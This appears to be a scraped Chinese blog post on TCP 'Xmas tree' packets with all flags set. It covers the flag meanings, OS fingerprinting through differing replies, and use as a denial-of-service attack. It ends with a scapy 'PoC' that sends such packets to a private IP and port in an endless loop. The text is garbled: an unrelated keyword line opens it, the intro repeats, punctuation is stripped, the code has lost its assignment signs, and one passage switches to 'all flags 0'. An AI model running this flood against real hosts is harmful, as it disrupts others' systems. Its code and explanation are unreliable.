响应式网站的优点,美食静态网站设计论文,导视设计方法,微信备份wordpress简介
TCP所有标志位被设置为1的数据包被称为圣诞树数据包#xff08;XMas Tree packet#xff09;#xff0c;之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。
标志位介绍
TCP报文格式#xff1a; 控制标志#xff08;Control Bits#xff09;共6个bi…简介
TCP所有标志位被设置为1的数据包被称为圣诞树数据包XMas Tree packet之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。
标志位介绍
TCP报文格式 控制标志Control Bits共6个bit位分别为URG、ACK、PSH、RST、SYN、FIN。
标志位说明URG高优先级数据包ACK确认连接PSH要求对方数据尽快达到应用层RST重置或拒绝连接SYN连接请求SYN1或连接接受报文SYN1ACK1FIN数据发送完毕请求释放连接
当你发送了这样一个数据包之后不同的操作系统对其的响应方式是不一样的因此可以作为目标系统探测的一种方式6个标志全部为0 如果端口是关闭的Windows机器将应答一个RST | ACK消息而对于一个开放端口的Linux和UNIX机器则不会应答。。 此外通常来说目标系统需要对这个数据包进行更复杂的处理毕竟点的灯比较多相比一般的包处理耗费的资源会更多因此也可以用作DOS攻击。
附Poc
from scapy.all import *
pkt_treeIP(dst192.168.1.2)/TCP(dport8081,flags0x03f)
while True:send(pkt_tree)
